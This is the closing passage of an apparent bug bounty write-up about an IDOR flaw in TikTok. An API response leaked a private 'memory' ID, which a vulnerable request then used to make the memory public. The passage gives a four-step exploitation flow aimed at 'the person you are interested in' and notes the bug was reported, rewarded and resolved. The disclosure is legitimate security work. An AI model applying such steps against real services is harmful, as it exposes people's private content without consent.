src="https://cdn-images-1.medium.com/max/454/1*jxSbPx0nRzy9eScokHj4yA.gif" /></figure><p>Despite the message stating that the private “memories” should not be accessible, the response of the API call when browsing the user profile exposed the private “memory” “<em>aweme_id</em>”. This was exactly the information I needed in order to complete my task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eLUilZlfm2evkOEjrQdJ_g.png" /></figure><h4>The Flow</h4><ol><li>Browse the profile of the person you are interested in</li><li>Obtain their private ‘aweme_id’ memory from the response.</li><li>Send the vulnerable request using the obtained ‘<em>aweme_id</em>’.</li><li>The private “memory” of the person you are interested in is now public.</li></ol><p><a href="https://hackerone.com/reports/1733627">HackerOne Report</a></p><blockquote>Timeline:</blockquote><blockquote>Reported — Oct 13th</blockquote><blockquote><em>Triaged — </em>Oct 17th</blockquote><blockquote>Awarded 5500$— Oct 19th</blockquote><blockquote>Resolved — Oct 25th</blockquote><p>Finding this IDOR vulnerability in TikTok was an exciting and rewarding experience for me. I learned a lot from it and I hope that sharing my experience will help others in their bug bounty journey.</p><p>Thank you for reading my article. If you have any questions or want to learn more about my experience, feel free to reach out to me.</p><p>@<a href="https://www.linkedin.com/in/amit-elbirt-435385190/">mrhavit</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7303addf223" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>